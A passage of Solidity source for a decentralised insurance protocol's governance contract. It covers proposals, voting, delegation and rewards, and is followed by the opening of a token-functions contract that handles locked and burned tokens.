mapping(uint => uint) abVoteValue;
uint voters;
}
struct DelegateVote {
address follower;
address leader;
uint lastUpd;
}
ProposalVote[] internal allVotes;
DelegateVote[] public allDelegation;
mapping(uint => ProposalData) internal allProposalData;
mapping(uint => bytes[]) internal allProposalSolutions;
mapping(address => uint[]) internal allVotesByMember;
mapping(uint => mapping(address => bool)) public rewardClaimed;
mapping(address => mapping(uint => uint)) public memberProposalVote;
mapping(address => uint) public followerDelegation;
mapping(address => uint) internal followerCount;
mapping(address => uint[]) internal leaderDelegation;
mapping(uint => VoteTally) public proposalVoteTally;
mapping(address => bool) public isOpenForDelegation;
mapping(address => uint) public lastRewardClaimed;
bool internal constructorCheck;
uint public tokenHoldingTime;
uint internal roleIdAllowedToCatgorize;
uint internal maxVoteWeigthPer;
uint internal specialResolutionMajPerc;
uint internal maxFollowers;
uint internal totalProposals;
uint internal maxDraftTime;
MemberRoles internal memberRole;
ProposalCategory internal proposalCategory;
TokenController internal tokenInstance;
mapping(uint => uint) public proposalActionStatus;
mapping(uint => uint) internal proposalExecutionTime;
mapping(uint => mapping(address => bool)) public proposalRejectedByAB;
mapping(uint => uint) internal actionRejectedCount;
bool internal actionParamsInitialised;
uint internal actionWaitingTime;
uint constant internal AB_MAJ_TO_REJECT_ACTION = 3;
enum ActionStatus {
Pending,
Accepted,
Rejected,
Executed,
NoAction
}
/**
* @dev Called whenever an action execution is failed.
*/
event ActionFailed (
uint256 proposalId
);
/**
* @dev Called whenever an AB member rejects the action execution.
*/
event ActionRejected (
uint256 indexed proposalId,
address rejectedBy
);
/**
* @dev Checks if msg.sender is proposal owner
*/
modifier onlyProposalOwner(uint _proposalId) {
require(msg.sender == allProposalData[_proposalId].owner, "Not allowed");
_;
}
/**
* @dev Checks if proposal is opened for voting
*/
modifier voteNotStarted(uint _proposalId) {
require(allProposalData[_proposalId].propStatus < uint(ProposalStatus.VotingStarted));
_;
}
/**
* @dev Checks if msg.sender is allowed to create proposal under given category
*/
modifier isAllowed(uint _categoryId) {
require(allowedToCreateProposal(_categoryId), "Not allowed");
_;
}
/**
* @dev Checks if msg.sender is allowed categorize proposal under given category
*/
modifier isAllowedToCategorize() {
require(memberRole.checkRole(msg.sender, roleIdAllowedToCatgorize), "Not allowed");
_;
}
/**
* @dev Checks if msg.sender had any pending rewards to be claimed
*/
modifier checkPendingRewards {
require(getPendingReward(msg.sender) == 0, "Claim reward");
_;
}
/**
* @dev Event emitted whenever a proposal is categorized
*/
event ProposalCategorized(
uint indexed proposalId,
address indexed categorizedBy,
uint categoryId
);
/**
* @dev Removes delegation of an address.
* @param _add address to undelegate.
*/
function removeDelegation(address _add) external onlyInternal {
_unDelegate(_add);
}
/**
* @dev Creates a new proposal
* @param _proposalDescHash Proposal description hash through IPFS having Short and long description of proposal
* @param _categoryId This id tells under which the proposal is categorized i.e. Proposal's Objective
*/
function createProposal(
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash,
uint _categoryId
)
external isAllowed(_categoryId)
{
require(ms.isMember(msg.sender), "Not Member");
_createProposal(_proposalTitle, _proposalSD, _proposalDescHash, _categoryId);
}
/**
* @dev Edits the details of an existing proposal
* @param _proposalId Proposal id that details needs to be updated
* @param _proposalDescHash Proposal description hash having long and short description of proposal.
*/
function updateProposal(
uint _proposalId,
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash
)
external onlyProposalOwner(_proposalId)
{
require(
allProposalSolutions[_proposalId].length < 2,
"Not allowed"
);
allProposalData[_proposalId].propStatus = uint(ProposalStatus.Draft);
allProposalData[_proposalId].category = 0;
allProposalData[_proposalId].commonIncentive = 0;
emit Proposal(
allProposalData[_proposalId].owner,
_proposalId,
now,
_proposalTitle,
_proposalSD,
_proposalDescHash
);
}
/**
* @dev Categorizes proposal to proceed further. Categories shows the proposal objective.
*/
function categorizeProposal(
uint _proposalId,
uint _categoryId,
uint _incentive
)
external
voteNotStarted(_proposalId) isAllowedToCategorize
{
_categorizeProposal(_proposalId, _categoryId, _incentive);
}
/**
* @dev Submit proposal with solution
* @param _proposalId Proposal id
* @param _solutionHash Solution hash contains parameters, values and description needed according to proposal
*/
function submitProposalWithSolution(
uint _proposalId,
string calldata _solutionHash,
bytes calldata _action
)
external
onlyProposalOwner(_proposalId)
{
require(allProposalData[_proposalId].propStatus == uint(ProposalStatus.AwaitingSolution));
_proposalSubmission(_proposalId, _solutionHash, _action);
}
/**
* @dev Creates a new proposal with solution
* @param _proposalDescHash Proposal description hash through IPFS having Short and long description of proposal
* @param _categoryId This id tells under which the proposal is categorized i.e. Proposal's Objective
* @param _solutionHash Solution hash contains parameters, values and description needed according to proposal
*/
function createProposalwithSolution(
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash,
uint _categoryId,
string calldata _solutionHash,
bytes calldata _action
)
external isAllowed(_categoryId)
{
uint proposalId = totalProposals;
_createProposal(_proposalTitle, _proposalSD, _proposalDescHash, _categoryId);
require(_categoryId > 0);
_proposalSubmission(
proposalId,
_solutionHash,
_action
);
}
/**
* @dev Submit a vote on the proposal.
* @param _proposalId to vote upon.
* @param _solutionChosen is the chosen vote.
*/
function submitVote(uint _proposalId, uint _solutionChosen) external {
require(allProposalData[_proposalId].propStatus ==
uint(Governance.ProposalStatus.VotingStarted), "Not allowed");
require(_solutionChosen < allProposalSolutions[_proposalId].length);
_submitVote(_proposalId, _solutionChosen);
}
/**
* @dev Closes the proposal.
* @param _proposalId of proposal to be closed.
*/
function closeProposal(uint _proposalId) external {
uint category = allProposalData[_proposalId].category;
uint _memberRole;
if (allProposalData[_proposalId].dateUpd.add(maxDraftTime) <= now &&
allProposalData[_proposalId].propStatus < uint(ProposalStatus.VotingStarted)) {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Denied));
} else {
require(canCloseProposal(_proposalId) == 1);
(, _memberRole,,,,,) = proposalCategory.category(allProposalData[_proposalId].category);
if (_memberRole == uint(MemberRoles.Role.AdvisoryBoard)) {
_closeAdvisoryBoardVote(_proposalId, category);
} else {
_closeMemberVote(_proposalId, category);
}
}
}
/**
* @dev Claims reward for member.
* @param _memberAddress to claim reward of.
* @param _maxRecords maximum number of records to claim reward for.
_proposals list of proposals of which reward will be claimed.
* @return amount of pending reward.
*/
function claimReward(address _memberAddress, uint _maxRecords)
external returns (uint pendingDAppReward)
{
uint voteId;
address leader;
uint lastUpd;
require(msg.sender == ms.getLatestAddress("CR"));
uint delegationId = followerDelegation[_memberAddress];
DelegateVote memory delegationData = allDelegation[delegationId];
if (delegationId > 0 && delegationData.leader != address(0)) {
leader = delegationData.leader;
lastUpd = delegationData.lastUpd;
} else
leader = _memberAddress;
uint proposalId;
uint totalVotes = allVotesByMember[leader].length;
uint lastClaimed = totalVotes;
uint j;
uint i;
for (i = lastRewardClaimed[_memberAddress]; i < totalVotes && j < _maxRecords; i++) {
voteId = allVotesByMember[leader][i];
proposalId = allVotes[voteId].proposalId;
if (proposalVoteTally[proposalId].voters > 0 && (allVotes[voteId].dateAdd > (
lastUpd.add(tokenHoldingTime)) || leader == _memberAddress)) {
if (allProposalData[proposalId].propStatus > uint(ProposalStatus.VotingStarted)) {
if (!rewardClaimed[voteId][_memberAddress]) {
pendingDAppReward = pendingDAppReward.add(
allProposalData[proposalId].commonIncentive.div(
proposalVoteTally[proposalId].voters
)
);
rewardClaimed[voteId][_memberAddress] = true;
j++;
}
} else {
if (lastClaimed == totalVotes) {
lastClaimed = i;
}
}
}
}
if (lastClaimed == totalVotes) {
lastRewardClaimed[_memberAddress] = i;
} else {
lastRewardClaimed[_memberAddress] = lastClaimed;
}
if (j > 0) {
emit RewardClaimed(
_memberAddress,
pendingDAppReward
);
}
}
/**
* @dev Sets delegation acceptance status of individual user
* @param _status delegation acceptance status
*/
function setDelegationStatus(bool _status) external isMemberAndcheckPause checkPendingRewards {
isOpenForDelegation[msg.sender] = _status;
}
/**
* @dev Delegates vote to an address.
* @param _add is the address to delegate vote to.
*/
function delegateVote(address _add) external isMemberAndcheckPause checkPendingRewards {
require(ms.masterInitialized());
require(allDelegation[followerDelegation[_add]].leader == address(0));
if (followerDelegation[msg.sender] > 0) {
require((allDelegation[followerDelegation[msg.sender]].lastUpd).add(tokenHoldingTime) < now);
}
require(!alreadyDelegated(msg.sender));
require(!memberRole.checkRole(msg.sender, uint(MemberRoles.Role.Owner)));
require(!memberRole.checkRole(msg.sender, uint(MemberRoles.Role.AdvisoryBoard)));
require(followerCount[_add] < maxFollowers);
if (allVotesByMember[msg.sender].length > 0) {
require((allVotes[allVotesByMember[msg.sender][allVotesByMember[msg.sender].length - 1]].dateAdd).add(tokenHoldingTime)
< now);
}
require(ms.isMember(_add));
require(isOpenForDelegation[_add]);
allDelegation.push(DelegateVote(msg.sender, _add, now));
followerDelegation[msg.sender] = allDelegation.length - 1;
leaderDelegation[_add].push(allDelegation.length - 1);
followerCount[_add]++;
lastRewardClaimed[msg.sender] = allVotesByMember[_add].length;
}
/**
* @dev Undelegates the sender
*/
function unDelegate() external isMemberAndcheckPause checkPendingRewards {
_unDelegate(msg.sender);
}
/**
* @dev Triggers action of accepted proposal after waiting time is finished
*/
function triggerAction(uint _proposalId) external {
require(proposalActionStatus[_proposalId] == uint(ActionStatus.Accepted) && proposalExecutionTime[_proposalId] <= now, "Cannot trigger");
_triggerAction(_proposalId, allProposalData[_proposalId].category);
}
/**
* @dev Provides option to Advisory board member to reject proposal action execution within actionWaitingTime, if found suspicious
*/
function rejectAction(uint _proposalId) external {
require(memberRole.checkRole(msg.sender, uint(MemberRoles.Role.AdvisoryBoard)) && proposalExecutionTime[_proposalId] > now);
require(proposalActionStatus[_proposalId] == uint(ActionStatus.Accepted));
require(!proposalRejectedByAB[_proposalId][msg.sender]);
require(
keccak256(proposalCategory.categoryActionHashes(allProposalData[_proposalId].category))
!= keccak256(abi.encodeWithSignature("swapABMember(address,address)"))
);
proposalRejectedByAB[_proposalId][msg.sender] = true;
actionRejectedCount[_proposalId]++;
emit ActionRejected(_proposalId, msg.sender);
if (actionRejectedCount[_proposalId] == AB_MAJ_TO_REJECT_ACTION) {
proposalActionStatus[_proposalId] = uint(ActionStatus.Rejected);
}
}
/**
* @dev Sets intial actionWaitingTime value
* To be called after governance implementation has been updated
*/
function setInitialActionParameters() external onlyOwner {
require(!actionParamsInitialised);
actionParamsInitialised = true;
actionWaitingTime = 24 * 1 hours;
}
/**
* @dev Gets Uint Parameters of a code
* @param code whose details we want
* @return string value of the code
* @return associated amount (time or perc or value) to the code
*/
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) {
codeVal = code;
if (code == "GOVHOLD") {
val = tokenHoldingTime / (1 days);
} else if (code == "MAXFOL") {
val = maxFollowers;
} else if (code == "MAXDRFT") {
val = maxDraftTime / (1 days);
} else if (code == "EPTIME") {
val = ms.pauseTime() / (1 days);
} else if (code == "ACWT") {
val = actionWaitingTime / (1 hours);
}
}
/**
* @dev Gets all details of a propsal
* @param _proposalId whose details we want
* @return proposalId
* @return category
* @return status
* @return finalVerdict
* @return totalReward
*/
function proposal(uint _proposalId)
external
view
returns (
uint proposalId,
uint category,
uint status,
uint finalVerdict,
uint totalRewar
)
{
return (
_proposalId,
allProposalData[_proposalId].category,
allProposalData[_proposalId].propStatus,
allProposalData[_proposalId].finalVerdict,
allProposalData[_proposalId].commonIncentive
);
}
/**
* @dev Gets some details of a propsal
* @param _proposalId whose details we want
* @return proposalId
* @return number of all proposal solutions
* @return amount of votes
*/
function proposalDetails(uint _proposalId) external view returns (uint, uint, uint) {
return (
_proposalId,
allProposalSolutions[_proposalId].length,
proposalVoteTally[_proposalId].voters
);
}
/**
* @dev Gets solution action on a proposal
* @param _proposalId whose details we want
* @param _solution whose details we want
* @return action of a solution on a proposal
*/
function getSolutionAction(uint _proposalId, uint _solution) external view returns (uint, bytes memory) {
return (
_solution,
allProposalSolutions[_proposalId][_solution]
);
}
/**
* @dev Gets length of propsal
* @return length of propsal
*/
function getProposalLength() external view returns (uint) {
return totalProposals;
}
/**
* @dev Get followers of an address
* @return get followers of an address
*/
function getFollowers(address _add) external view returns (uint[] memory) {
return leaderDelegation[_add];
}
/**
* @dev Gets pending rewards of a member
* @param _memberAddress in concern
* @return amount of pending reward
*/
function getPendingReward(address _memberAddress)
public view returns (uint pendingDAppReward)
{
uint delegationId = followerDelegation[_memberAddress];
address leader;
uint lastUpd;
DelegateVote memory delegationData = allDelegation[delegationId];
if (delegationId > 0 && delegationData.leader != address(0)) {
leader = delegationData.leader;
lastUpd = delegationData.lastUpd;
} else
leader = _memberAddress;
uint proposalId;
for (uint i = lastRewardClaimed[_memberAddress]; i < allVotesByMember[leader].length; i++) {
if (allVotes[allVotesByMember[leader][i]].dateAdd > (
lastUpd.add(tokenHoldingTime)) || leader == _memberAddress) {
if (!rewardClaimed[allVotesByMember[leader][i]][_memberAddress]) {
proposalId = allVotes[allVotesByMember[leader][i]].proposalId;
if (proposalVoteTally[proposalId].voters > 0 && allProposalData[proposalId].propStatus
> uint(ProposalStatus.VotingStarted)) {
pendingDAppReward = pendingDAppReward.add(
allProposalData[proposalId].commonIncentive.div(
proposalVoteTally[proposalId].voters
)
);
}
}
}
}
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public {
require(ms.checkIsAuthToGoverned(msg.sender));
if (code == "GOVHOLD") {
tokenHoldingTime = val * 1 days;
} else if (code == "MAXFOL") {
maxFollowers = val;
} else if (code == "MAXDRFT") {
maxDraftTime = val * 1 days;
} else if (code == "EPTIME") {
ms.updatePauseTime(val * 1 days);
} else if (code == "ACWT") {
actionWaitingTime = val * 1 hours;
} else {
revert("Invalid code");
}
}
/**
* @dev Updates all dependency addresses to latest ones from Master
*/
function changeDependentContractAddress() public {
tokenInstance = TokenController(ms.dAppLocker());
memberRole = MemberRoles(ms.getLatestAddress("MR"));
proposalCategory = ProposalCategory(ms.getLatestAddress("PC"));
}
/**
* @dev Checks if msg.sender is allowed to create a proposal under given category
*/
function allowedToCreateProposal(uint category) public view returns (bool check) {
if (category == 0)
return true;
uint[] memory mrAllowed;
(,,,, mrAllowed,,) = proposalCategory.category(category);
for (uint i = 0; i < mrAllowed.length; i++) {
if (mrAllowed[i] == 0 || memberRole.checkRole(msg.sender, mrAllowed[i]))
return true;
}
}
/**
* @dev Checks if an address is already delegated
* @param _add in concern
* @return bool value if the address is delegated or not
*/
function alreadyDelegated(address _add) public view returns (bool delegated) {
for (uint i = 0; i < leaderDelegation[_add].length; i++) {
if (allDelegation[leaderDelegation[_add][i]].leader == _add) {
return true;
}
}
}
/**
* @dev Checks If the proposal voting time is up and it's ready to close
* i.e. Closevalue is 1 if proposal is ready to be closed, 2 if already closed, 0 otherwise!
* @param _proposalId Proposal id to which closing value is being checked
*/
function canCloseProposal(uint _proposalId)
public
view
returns (uint)
{
uint dateUpdate;
uint pStatus;
uint _closingTime;
uint _roleId;
uint majority;
pStatus = allProposalData[_proposalId].propStatus;
dateUpdate = allProposalData[_proposalId].dateUpd;
(, _roleId, majority, , , _closingTime,) = proposalCategory.category(allProposalData[_proposalId].category);
if (
pStatus == uint(ProposalStatus.VotingStarted)
) {
uint numberOfMembers = memberRole.numberOfMembers(_roleId);
if (_roleId == uint(MemberRoles.Role.AdvisoryBoard)) {
if (proposalVoteTally[_proposalId].abVoteValue[1].mul(100).div(numberOfMembers) >= majority
|| proposalVoteTally[_proposalId].abVoteValue[1].add(proposalVoteTally[_proposalId].abVoteValue[0]) == numberOfMembers
|| dateUpdate.add(_closingTime) <= now) {
return 1;
}
} else {
if (numberOfMembers == proposalVoteTally[_proposalId].voters
|| dateUpdate.add(_closingTime) <= now)
return 1;
}
} else if (pStatus > uint(ProposalStatus.VotingStarted)) {
return 2;
} else {
return 0;
}
}
/**
* @dev Gets Id of member role allowed to categorize the proposal
* @return roleId allowed to categorize the proposal
*/
function allowedToCatgorize() public view returns (uint roleId) {
return roleIdAllowedToCatgorize;
}
/**
* @dev Gets vote tally data
* @param _proposalId in concern
* @param _solution of a proposal id
* @return member vote value
* @return advisory board vote value
* @return amount of votes
*/
function voteTallyData(uint _proposalId, uint _solution) public view returns (uint, uint, uint) {
return (proposalVoteTally[_proposalId].memberVoteValue[_solution],
proposalVoteTally[_proposalId].abVoteValue[_solution], proposalVoteTally[_proposalId].voters);
}
/**
* @dev Internal call to create proposal
* @param _proposalTitle of proposal
* @param _proposalSD is short description of proposal
* @param _proposalDescHash IPFS hash value of propsal
* @param _categoryId of proposal
*/
function _createProposal(
string memory _proposalTitle,
string memory _proposalSD,
string memory _proposalDescHash,
uint _categoryId
)
internal
{
require(proposalCategory.categoryABReq(_categoryId) == 0 || _categoryId == 0);
uint _proposalId = totalProposals;
allProposalData[_proposalId].owner = msg.sender;
allProposalData[_proposalId].dateUpd = now;
allProposalSolutions[_proposalId].push("");
totalProposals++;
emit Proposal(
msg.sender,
_proposalId,
now,
_proposalTitle,
_proposalSD,
_proposalDescHash
);
if (_categoryId > 0)
_categorizeProposal(_proposalId, _categoryId, 0);
}
/**
* @dev Internal call to categorize a proposal
* @param _proposalId of proposal
* @param _categoryId of proposal
* @param _incentive is commonIncentive
*/
function _categorizeProposal(
uint _proposalId,
uint _categoryId,
uint _incentive
)
internal
{
require(
_categoryId > 0 && _categoryId < proposalCategory.totalCategories(),
"Invalid category"
);
allProposalData[_proposalId].category = _categoryId;
allProposalData[_proposalId].commonIncentive = _incentive;
allProposalData[_proposalId].propStatus = uint(ProposalStatus.AwaitingSolution);
emit ProposalCategorized(_proposalId, msg.sender, _categoryId);
}
/**
* @dev Internal call to add solution to a proposal
* @param _proposalId in concern
* @param _action on that solution
* @param _solutionHash string value
*/
function _addSolution(uint _proposalId, bytes memory _action, string memory _solutionHash)
internal
{
allProposalSolutions[_proposalId].push(_action);
emit Solution(_proposalId, msg.sender, allProposalSolutions[_proposalId].length - 1, _solutionHash, now);
}
/**
* @dev Internal call to add solution and open proposal for voting
*/
function _proposalSubmission(
uint _proposalId,
string memory _solutionHash,
bytes memory _action
)
internal
{
uint _categoryId = allProposalData[_proposalId].category;
if (proposalCategory.categoryActionHashes(_categoryId).length == 0) {
require(keccak256(_action) == keccak256(""));
proposalActionStatus[_proposalId] = uint(ActionStatus.NoAction);
}
_addSolution(
_proposalId,
_action,
_solutionHash
);
_updateProposalStatus(_proposalId, uint(ProposalStatus.VotingStarted));
(, , , , , uint closingTime,) = proposalCategory.category(_categoryId);
emit CloseProposalOnTime(_proposalId, closingTime.add(now));
}
/**
* @dev Internal call to submit vote
* @param _proposalId of proposal in concern
* @param _solution for that proposal
*/
function _submitVote(uint _proposalId, uint _solution) internal {
uint delegationId = followerDelegation[msg.sender];
uint mrSequence;
uint majority;
uint closingTime;
(, mrSequence, majority, , , closingTime,) = proposalCategory.category(allProposalData[_proposalId].category);
require(allProposalData[_proposalId].dateUpd.add(closingTime) > now, "Closed");
require(memberProposalVote[msg.sender][_proposalId] == 0, "Not allowed");
require((delegationId == 0) || (delegationId > 0 && allDelegation[delegationId].leader == address(0) &&
_checkLastUpd(allDelegation[delegationId].lastUpd)));
require(memberRole.checkRole(msg.sender, mrSequence), "Not Authorized");
uint totalVotes = allVotes.length;
allVotesByMember[msg.sender].push(totalVotes);
memberProposalVote[msg.sender][_proposalId] = totalVotes;
allVotes.push(ProposalVote(msg.sender, _proposalId, now));
emit Vote(msg.sender, _proposalId, totalVotes, now, _solution);
if (mrSequence == uint(MemberRoles.Role.Owner)) {
if (_solution == 1)
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), allProposalData[_proposalId].category, 1, MemberRoles.Role.Owner);
else
_updateProposalStatus(_proposalId, uint(ProposalStatus.Rejected));
} else {
uint numberOfMembers = memberRole.numberOfMembers(mrSequence);
_setVoteTally(_proposalId, _solution, mrSequence);
if (mrSequence == uint(MemberRoles.Role.AdvisoryBoard)) {
if (proposalVoteTally[_proposalId].abVoteValue[1].mul(100).div(numberOfMembers)
>= majority
|| (proposalVoteTally[_proposalId].abVoteValue[1].add(proposalVoteTally[_proposalId].abVoteValue[0])) == numberOfMembers) {
emit VoteCast(_proposalId);
}
} else {
if (numberOfMembers == proposalVoteTally[_proposalId].voters)
emit VoteCast(_proposalId);
}
}
}
/**
* @dev Internal call to set vote tally of a proposal
* @param _proposalId of proposal in concern
* @param _solution of proposal in concern
* @param mrSequence number of members for a role
*/
function _setVoteTally(uint _proposalId, uint _solution, uint mrSequence) internal
{
uint categoryABReq;
uint isSpecialResolution;
(, categoryABReq, isSpecialResolution) = proposalCategory.categoryExtendedData(allProposalData[_proposalId].category);
if (memberRole.checkRole(msg.sender, uint(MemberRoles.Role.AdvisoryBoard)) && (categoryABReq > 0) ||
mrSequence == uint(MemberRoles.Role.AdvisoryBoard)) {
proposalVoteTally[_proposalId].abVoteValue[_solution]++;
}
tokenInstance.lockForMemberVote(msg.sender, tokenHoldingTime);
if (mrSequence != uint(MemberRoles.Role.AdvisoryBoard)) {
uint voteWeight;
uint voters = 1;
uint tokenBalance = tokenInstance.totalBalanceOf(msg.sender);
uint totalSupply = tokenInstance.totalSupply();
if (isSpecialResolution == 1) {
voteWeight = tokenBalance.add(10 ** 18);
} else {
voteWeight = (_minOf(tokenBalance, maxVoteWeigthPer.mul(totalSupply).div(100))).add(10 ** 18);
}
DelegateVote memory delegationData;
for (uint i = 0; i < leaderDelegation[msg.sender].length; i++) {
delegationData = allDelegation[leaderDelegation[msg.sender][i]];
if (delegationData.leader == msg.sender &&
_checkLastUpd(delegationData.lastUpd)) {
if (memberRole.checkRole(delegationData.follower, mrSequence)) {
tokenBalance = tokenInstance.totalBalanceOf(delegationData.follower);
tokenInstance.lockForMemberVote(delegationData.follower, tokenHoldingTime);
voters++;
if (isSpecialResolution == 1) {
voteWeight = voteWeight.add(tokenBalance.add(10 ** 18));
} else {
voteWeight = voteWeight.add((_minOf(tokenBalance, maxVoteWeigthPer.mul(totalSupply).div(100))).add(10 ** 18));
}
}
}
}
proposalVoteTally[_proposalId].memberVoteValue[_solution] = proposalVoteTally[_proposalId].memberVoteValue[_solution].add(voteWeight);
proposalVoteTally[_proposalId].voters = proposalVoteTally[_proposalId].voters + voters;
}
}
/**
* @dev Gets minimum of two numbers
* @param a one of the two numbers
* @param b one of the two numbers
* @return minimum number out of the two
*/
function _minOf(uint a, uint b) internal pure returns (uint res) {
res = a;
if (res > b)
res = b;
}
/**
* @dev Check the time since last update has exceeded token holding time or not
* @param _lastUpd is last update time
* @return the bool which tells if the time since last update has exceeded token holding time or not
*/
function _checkLastUpd(uint _lastUpd) internal view returns (bool) {
return (now - _lastUpd) > tokenHoldingTime;
}
/**
* @dev Checks if the vote count against any solution passes the threshold value or not.
*/
function _checkForThreshold(uint _proposalId, uint _category) internal view returns (bool check) {
uint categoryQuorumPerc;
uint roleAuthorized;
(, roleAuthorized, , categoryQuorumPerc, , ,) = proposalCategory.category(_category);
check = ((proposalVoteTally[_proposalId].memberVoteValue[0]
.add(proposalVoteTally[_proposalId].memberVoteValue[1]))
.mul(100))
.div(
tokenInstance.totalSupply().add(
memberRole.numberOfMembers(roleAuthorized).mul(10 ** 18)
)
) >= categoryQuorumPerc;
}
/**
* @dev Called when vote majority is reached
* @param _proposalId of proposal in concern
* @param _status of proposal in concern
* @param category of proposal in concern
* @param max vote value of proposal in concern
*/
function _callIfMajReached(uint _proposalId, uint _status, uint category, uint max, MemberRoles.Role role) internal {
allProposalData[_proposalId].finalVerdict = max;
_updateProposalStatus(_proposalId, _status);
emit ProposalAccepted(_proposalId);
if (proposalActionStatus[_proposalId] != uint(ActionStatus.NoAction)) {
if (role == MemberRoles.Role.AdvisoryBoard) {
_triggerAction(_proposalId, category);
} else {
proposalActionStatus[_proposalId] = uint(ActionStatus.Accepted);
proposalExecutionTime[_proposalId] = actionWaitingTime.add(now);
}
}
}
/**
* @dev Internal function to trigger action of accepted proposal
*/
function _triggerAction(uint _proposalId, uint _categoryId) internal {
proposalActionStatus[_proposalId] = uint(ActionStatus.Executed);
bytes2 contractName;
address actionAddress;
bytes memory _functionHash;
(, actionAddress, contractName, , _functionHash) = proposalCategory.categoryActionDetails(_categoryId);
if (contractName == "MS") {
actionAddress = address(ms);
} else if (contractName != "EX") {
actionAddress = ms.getLatestAddress(contractName);
}
// solhint-disable-next-line avoid-low-level-calls
(bool actionStatus,) = actionAddress.call(abi.encodePacked(_functionHash, allProposalSolutions[_proposalId][1]));
if (actionStatus) {
emit ActionSuccess(_proposalId);
} else {
proposalActionStatus[_proposalId] = uint(ActionStatus.Accepted);
emit ActionFailed(_proposalId);
}
}
/**
* @dev Internal call to update proposal status
* @param _proposalId of proposal in concern
* @param _status of proposal to set
*/
function _updateProposalStatus(uint _proposalId, uint _status) internal {
if (_status == uint(ProposalStatus.Rejected) || _status == uint(ProposalStatus.Denied)) {
proposalActionStatus[_proposalId] = uint(ActionStatus.NoAction);
}
allProposalData[_proposalId].dateUpd = now;
allProposalData[_proposalId].propStatus = _status;
}
/**
* @dev Internal call to undelegate a follower
* @param _follower is address of follower to undelegate
*/
function _unDelegate(address _follower) internal {
uint followerId = followerDelegation[_follower];
if (followerId > 0) {
followerCount[allDelegation[followerId].leader] = followerCount[allDelegation[followerId].leader].sub(1);
allDelegation[followerId].leader = address(0);
allDelegation[followerId].lastUpd = now;
lastRewardClaimed[_follower] = allVotesByMember[_follower].length;
}
}
/**
* @dev Internal call to close member voting
* @param _proposalId of proposal in concern
* @param category of proposal in concern
*/
function _closeMemberVote(uint _proposalId, uint category) internal {
uint isSpecialResolution;
uint abMaj;
(, abMaj, isSpecialResolution) = proposalCategory.categoryExtendedData(category);
if (isSpecialResolution == 1) {
uint acceptedVotePerc = proposalVoteTally[_proposalId].memberVoteValue[1].mul(100)
.div(
tokenInstance.totalSupply().add(
memberRole.numberOfMembers(uint(MemberRoles.Role.Member)).mul(10 ** 18)
));
if (acceptedVotePerc >= specialResolutionMajPerc) {
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), category, 1, MemberRoles.Role.Member);
} else {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Denied));
}
} else {
if (_checkForThreshold(_proposalId, category)) {
uint majorityVote;
(,, majorityVote,,,,) = proposalCategory.category(category);
if (
((proposalVoteTally[_proposalId].memberVoteValue[1].mul(100))
.div(proposalVoteTally[_proposalId].memberVoteValue[0]
.add(proposalVoteTally[_proposalId].memberVoteValue[1])
))
>= majorityVote
) {
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), category, 1, MemberRoles.Role.Member);
} else {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Rejected));
}
} else {
if (abMaj > 0 && proposalVoteTally[_proposalId].abVoteValue[1].mul(100)
.div(memberRole.numberOfMembers(uint(MemberRoles.Role.AdvisoryBoard))) >= abMaj) {
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), category, 1, MemberRoles.Role.Member);
} else {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Denied));
}
}
}
if (proposalVoteTally[_proposalId].voters > 0) {
tokenInstance.mint(ms.getLatestAddress("CR"), allProposalData[_proposalId].commonIncentive);
}
}
/**
* @dev Internal call to close advisory board voting
* @param _proposalId of proposal in concern
* @param category of proposal in concern
*/
function _closeAdvisoryBoardVote(uint _proposalId, uint category) internal {
uint _majorityVote;
MemberRoles.Role _roleId = MemberRoles.Role.AdvisoryBoard;
(,, _majorityVote,,,,) = proposalCategory.category(category);
if (proposalVoteTally[_proposalId].abVoteValue[1].mul(100)
.div(memberRole.numberOfMembers(uint(_roleId))) >= _majorityVote) {
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), category, 1, _roleId);
} else {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Denied));
}
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/MasterAware.sol";
import "../cover/QuotationData.sol";
import "./NXMToken.sol";
import "./TokenController.sol";
import "./TokenData.sol";
contract TokenFunctions is MasterAware {
using SafeMath for uint;
TokenController public tc;
NXMToken public tk;
QuotationData public qd;
event BurnCATokens(uint claimId, address addr, uint amount);
/**
* @dev to get the all the cover locked tokens of a user
* @param _of is the user address in concern
* @return amount locked
*/
function getUserAllLockedCNTokens(address _of) external view returns (uint) {
uint[] memory coverIds = qd.getAllCoversOfUser(_of);
uint total;
for (uint i = 0; i < coverIds.length; i++) {
bytes32 reason = keccak256(abi.encodePacked("CN", _of, coverIds[i]));
uint coverNote = tc.tokensLocked(_of, reason);
total = total.add(coverNote);
}
return total;
}
/**
* @dev Change Dependent Contract Address
*/
function changeDependentContractAddress() public {
tc = TokenController(master.getLatestAddress("TC"));
tk = NXMToken(master.tokenAddress());
qd = QuotationData(master.getLatestAddress("QD"));
}
/**
* @dev Burns tokens used for fraudulent voting against a claim
* @param claimid Claim Id.
* @param _value number of tokens to be burned
* @param _of Claim Assessor's address.
*/
function burnCAToken(uint claimid, uint _value, address _of) external onlyGovernance {
tc.burnLockedTokens(_of, "CLA", _value);
emit BurnCATokens(claimid, _of, _value);
}
/**
* @dev to check if a member is locked for member vote
* @param _of is the member address in concern
* @return the boolean status
*/
function isLockedForMemberVote(address _of) public view returns (bool) {
